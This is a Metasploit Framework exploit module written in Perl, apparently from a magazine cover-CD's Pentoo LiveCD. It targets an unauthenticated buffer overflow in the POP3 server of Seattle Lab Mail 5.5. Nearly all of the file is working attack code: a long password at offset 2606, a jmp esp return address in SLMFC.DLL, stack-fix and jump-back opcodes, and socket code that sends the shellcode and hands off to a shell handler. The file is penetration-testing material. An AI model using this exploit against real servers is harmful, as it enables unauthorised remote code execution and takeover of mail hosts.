home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / seattlelab_mail_55.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  145 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::seattlelab_mail_55;
  11. use base "Msf::Exploit";
  12. use strict;
  13.  
  14. my $advanced = {};
  15. my $info =
  16.   {
  17.     'Name'    => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
  18.     'Version' => '$Revision: 1.7 $',
  19.     'Authors' => [ 'Stinko', ],
  20.  
  21.     'Arch'  => [ 'x86' ],
  22.     'OS'    => [ 'win32' ],
  23.     'Priv'  => 1,
  24.  
  25.     'UserOpts'  =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 110],
  29.       },
  30.  
  31.     'Payload' =>
  32.       {
  33.         'Space'          => 600,
  34.         'BadChars'       => "\x00\x0a\x0d\x20",
  35.         'MinNops'        => 100,
  36.         'Keys'           => ['+ws2ord'],
  37.       },
  38.  
  39.     'Description'  =>  Pex::Text::Freeform(qq{
  40.         There exists an unauthenticated buffer overflow vulnerability
  41.         in the POP3 server of Seattle Lab Mail 5.5 when sending a password
  42.         with excessive length.
  43.  
  44.         Successful exploitation should not crash either the
  45.         service or the server; however, after initial use the
  46.         port cannot be reused for successive exploitation until
  47.         the service has been restarted. Consider using a command
  48.         execution payload following the bind shell to restart
  49.         the service if you need to reuse the same port.
  50.  
  51.         The overflow appears to occur in the debugging/error reporting
  52.         section of the slmail.exe executable, and there are multiple
  53.         offsets that will lead to successful exploitation. This exploit
  54.         uses 2606, the offset that creates the smallest overall payload.
  55.         The other offset is 4654.
  56.  
  57.         The return address is overwritten with a "jmp esp" call from the
  58.         application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
  59.         return address works against all version of Windows and service packs.
  60.  
  61.         The last modification date on the library is dated 06/02/99. Assuming
  62.         that the code where the overflow occurs has not changed in some time,
  63.         prior version of SLMail may also be vulnerable with this exploit. The
  64.         author has not been able to acquire older versions of SLMail for
  65.         testing purposes. Please let us know if you were able to get this
  66.         exploit working against other SLMail versions.        
  67. }),
  68.  
  69.     'Refs'  =>
  70.       [
  71.         ['OSVDB', '12002'],
  72.         ['BID', '7519'],
  73.         ['MIL', '57'],
  74.       ],
  75.  
  76.     'DefaultTarget' => 0,
  77.     'Targets' =>
  78.       [
  79.         ['Windows NT/2000/XP/2003 (SLMail 5.5)', 2606, 0x5f4a358f],
  80.       ],
  81.  
  82.     'Keys' => ['pop3'],
  83.  
  84.     'DisclosureDate' => 'May 07 2003',
  85.  
  86.   };
  87.  
  88. sub new {
  89.     my $class = shift;
  90.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  91.     return($self);
  92. }
  93.  
  94. sub Exploit {
  95.     my $self = shift;
  96.     my $target_host = $self->GetVar('RHOST');
  97.     my $target_port = $self->GetVar('RPORT');
  98.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  99.     my $target_idx  = $self->GetVar('TARGET');
  100.     my $target      = $self->Targets->[$target_idx];
  101.     my $result;
  102.  
  103.     my $request = "PASS " . Pex::Text::EnglishText($target->[1] - length($shellcode));
  104.     $request .= $shellcode;
  105.     $request .= pack("V", $target->[2]);
  106.     $request .= "\x81\xc4\xff\xef\xff\xff\x44"; # Fix the stack
  107.     $request .= "\xe9\xcb\xfd\xff\xff";         # Go back 560 bytes
  108.     $request .= Pex::Text::EnglishText(512);    # Oh look. Cruft.
  109.     $request .= "\r\n";
  110.  
  111.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));
  112.  
  113.     my $s = Msf::Socket::Tcp->new
  114.       (
  115.         'PeerAddr'  => $target_host,
  116.         'PeerPort'  => $target_port,
  117.         'LocalPort' => $self->GetVar('CPORT'),
  118.       );
  119.     if ($s->IsError) {
  120.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  121.         return;
  122.     }
  123.  
  124.     $result = $s->Recv(-1, 5);
  125.     if ($result !~ /^\+OK POP3 server (.*) ready/) {
  126.         $self->PrintLine('[*] POP3 server does not appear to be running.');
  127.         return;
  128.     }
  129.  
  130.     $s->Send("USER metasploit\r\n");
  131.  
  132.     $result = $s->Recv(-1, 5);
  133.     if ($result !~ /^\+OK (.*) welcome here$/) {
  134.         $self->PrintLine('[*] POP3 server rejects username.');
  135.     }
  136.  
  137.     $self->PrintLine('[*] Everything looks good, starting attack...');
  138.  
  139.     $s->Send($request);
  140.     $self->Handler($s);
  141.     $s->Close();
  142.     return;
  143. }
  144.  
  145.